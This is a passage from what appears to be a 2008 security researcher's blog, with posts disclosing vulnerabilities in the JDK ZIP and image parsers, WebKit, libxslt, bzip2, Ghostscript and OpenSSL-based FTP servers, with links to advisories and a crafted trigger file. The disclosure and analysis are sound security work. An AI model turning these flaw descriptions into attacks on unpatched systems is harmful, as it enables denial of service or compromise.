    cenlen = ENDSIZ(endbuf);
    if (cenlen > endpos)
  ZIP_FORMAT_ERROR("invalid END header (bad central directory size)");
    cenpos = endpos - cenlen;

jlong is a signed 64-bit type. The ENDSIZ macro, because of the way it is formulated, returned a signed int. Therefore, the assignment to cenlen triggers sign extension. This means that cenlen can end up being negative, rather than the stated intent of being treated as an unsigned 32-bit quantity. The negative value will of course bypass the security check and lead to subsequent undesirable state. (Note that the best fix is not to enhance the check, but to add a cast to unsigned int to the underlying macro as it is used in multiple places).

So why does this appear to be just a bug and not a security vulnerability? Well, on systems without mmap(), a huge allocation will either cleanly fail, or a read() attempt past EOF will cleanly fail. On systems with mmap(), things are more interesting. A 32-bit build will attempt a 2Gb large mapping on a potentially much smaller file. This could lead to interesting SIGBUS conditions as a server DoS. By quite some luck, the Sun JVM process seems to spray mappings liberally through the address space, leaving no room for a contiguous 2Gb mapping.

The same sign-extension bug exists in other parts of the ZIP handling, and leads to some interesting negative values getting to some interesting places. But lower-level sanity checks save the day in the cases that I could find.

A zip file capable of triggering the interesting log line "mmap failed for CEN and END part of zip file" is available at http://scary.beasts.org/misc/mmap_fail.zip.

Ah well, maybe next time. Come to thing of it, my pipeline does include real JDK vulns. Watch this space.

A dangerous combination of browser features

2008-08-25T16:39:00.000-07:00

As browsers gain more and more features, the possibility increases for interesting or dangerous interactions between these features. I was recently playing with a couple of new browser features -- <canvas> and SVGs -- and found a cross-domain leak in the development version of Webkit:

http://scary.beasts.org/security/CESA-2008-007.html

Fortunately, no production versions of the major browsers are affected - and forearmed with this information, they can keep it that way. The only production browser I found that supports all of the required pieces is Opera 9.52, and they deserve some serious credit for getting the security check correct.

Buffer overflow in libxslt

2008-07-31T16:27:00.000-07:00

libxslt is an interesting attack surface; there are various places in which it is used to process untrusted stylesheets. This includes some browsers, although namespace issues seem to prevent the affected code from being reached in a browser context.

Within libxslt itself, there are some built-in functions. These are usually a fruitful place to look for vulnerabilities, particularly those that take integers etc. In this instance, I found problems in a little used cryptography related extension function. An incoming string is over-trusted in that its length is not sanitized, leading to a heap overflow.

XSLT, surprisingly, is turing-complete, even in its currently deployed incarnations (although you need to implement looping via recursion). There may be interesting DoS and further exploitation opportunities here.

Full technical details can be found here:
http://scary.beasts.org/security/CESA-2008-003.html

On FTP, SSL and broken interfaces

2008-07-29T22:06:00.001-07:00

Oh what a fun day I just had piecing together a few SSL changes for vsftpd!

Let's start with a brief background on SSL. SSL provides not just secrecy but also integrity - an attacker cannot change your data stream in flight. This includes obviously changing data in the stream, and less obviously, truncating the stream. The interesting attack to truncate the stream is to fake a TCP packet with FIN set. Truncated data is still an integrity violation and could have interesting consequences depending on what is being transferred. Anyway, as of SSLv3 and newer, the protocol protects against this. So, we're all good right?

Well, no, not really. Let's look at how SSL_read() indicates a problem. We all know how read() behaves, of course. It returns 0 on a healthy EOF. SSL_read() does the same on a healthy, cryptographically guaranteed EOF. But what does it do it if the attacker forces the TCP stream to close with a faked FIN? It also returns 0. That's right - no indication of any problem at the API level. If you want to check what is going on, you need to either check the SSL error code, in case there is one, or call SSL_get_shutdown(). (This double option in itself leads to confusion and random variance in code, which isn't great but that's another topic).

The OpenSSL API for SSL_read() is broken. You can phrase why in various ways: it violates the principle of least surprise. Or, perhaps best said, it provides an API that is easy to abuse. Good, secure APIs are hard to abuse. Contrast strcat() with string::operator+=() for the classic example.

A quick survey of popular FTP servers reveals that they universally fail to check for this condition when accepting an SSL secured upload. vsftpd v2.0.7 now optionally checks for this condition but it is off by default! Why? The majority of FTP clients have an interoperability bug in that they don't SSL_shutdown() their uploads. It's a direct knock-on from the SSL_read() broken API. If it returned error on forced connection shutdown, then FTP servers wouldn't have ever tolerated buggy clients, and clients would have been forced to correctly shutdown their connections.

Thanks to Tim Kosse of FileZilla fame for putting me on to this area by checking for secure connection shutdown in the latest version of FileZilla, exposing an interoperability bug in vsftpd's SSL downloads.

Lame OpenOffice PCX crash

2008-07-14T21:58:00.000-07:00

Sorry for the lame vuln. It's something I was playing with over a year ago and I just happened to notice it got fixed. I forget what the original deal was. I'm only posting because this blog serves as an RSS feed for the scary.beasts.org main vuln list.

http://scary.beasts.org/security/CESA-2008-006.html

A more interesting OpenOffice observation is in the works.

Fancy an exploitation challenge?

2008-07-13T21:53:00.000-07:00

So you think you're 1337? Check out these just released details of a buffer overflow in bzip2:

http://scary.beasts.org/security/CESA-2008-005.html

It looks pretty harmless, and it probably is... but I'd love for it not to be... if you think you have what it takes.

iPhone Safari update fixes old libxslt version

2008-07-11T20:16:00.000-07:00

This story is both interesting and boring at the same time.

Boring because I didn't find anything new -- I just noted the applicability of something old to Apple's Safari. I've made sure to credit the finder of the old bug that applies to Safari; unfortunately not everyone in the security industry credits the original finder of the bug when noting it applies to a new context.

The story is interesting because it illustrates the ongoing challenge of depending upon complex open source libraries. As these move forward, you need a good way of keeping on top. The public nature of their bug repositories are a challenge; frequently, some user will log a "crash" bug which in fact has serious security consequences. These consequences may not immediately be realized and called out, in the bug report, change log or release announcement.

http://scary.beasts.org/security/CESA-2008-004.html

http://lists.apple.com/archives/security-announce/2008/Jul/msg00001.html

Sun JDK image parsing vulnerabilities

2008-03-05T16:48:00.000-08:00

The technical details for this pair of vulnerabilities can be found here:

http://scary.beasts.org/security/CESA-2007-005.html

These vulnerabilities follow on from my original advisory in this area:

http://scary.beasts.org/security/CESA-2006-004.html

There are lots of interesting sub-stories here.

The first is that exploitation of the heap buffer overflows (in both the old and new advisories) relies on that fact that the JDK environment has a SEGV handler installed. These particular heap overflows will always try and perform massively long copies, therefore faulting as part of the copy. This would be a DoS only apart from the SEGV handler. As part of trying to dump out a good crash report, it can access trashed memory and become an exploitable condition.

The second is that this is a very dangerous class of attack. Most previous JDK attacks apply to running untrusted applets. These bugs, however, trigger also in server-side environments where JPEG parsing is performed. Direct, data-driven compromise of servers is quite unfortunate, especially in a runtime environment where memory corruptions can't usually occur.

Buffer overflow in Ghostscript

2008-02-27T08:39:00.000-08:00

Given the huge amount of attention given to xpdf (and derivatives), it is surprising that not as much attention has been given to Ghostscript. Most Linux desktops will render both PDF and PS files directly from the web.

The attack surface of Ghostscript is huge. Not only is it a Turing Complete language[*], but it has a rich set of runtime operators and APIs. Many of these operators and APIs stray into areas of functionality that might be integer overflow prone: decompressors, image parsers, graphics rending, canvas handing, etc.

I've placed technical details of a buffer overflow at:
http://scary.beasts.org/security/CESA-2008-001.html

[*] Client-side execution of such languages has never gone particularly well from a security perspective. Think Java applets, or Javascript.

Your FTP / SSL solution is really secure, right?

2008-02-13T15:44:00.000-08:00

Well no, not really. Almost all real-world usage of FTP over SSL has problems whereby the FTP data connection can be stolen (resulting in stolen downloads or forged uploads). The problem is mainly with FTP clients - if you require end users to generate their own SSL certs and manually enable sending them to the server, you've already lost on usability grounds.

Full technical details at http://scary.beasts.org/security/CESA-2008-002.html

Sun JDK6 XXE protection broken

2008-02-02T04:51:00.000-08:00

Sun released JDK6u4 which fixes a possibly nasty issue where one of the XXE protection methods for the default XML parser was broken.

My advisory is at http://scary.beasts.org/security/CESA-2007-002.html

Sun's advisory is at http://sunsolve.sun.com/search/document.do?assetkey=1-66-231246-1

Secunia picked it up at http://secunia.com/advisories/28746/

Web services are obviously a key concern here. I haven't checked to see how the common web service frameworks do XXE protection. It's possible to ban DTDs outright, but I'd suspect more common would be to use the broken parser property http://xml.org/sax/features/external-general-entities.

I'd love feedback on specific affected technologies.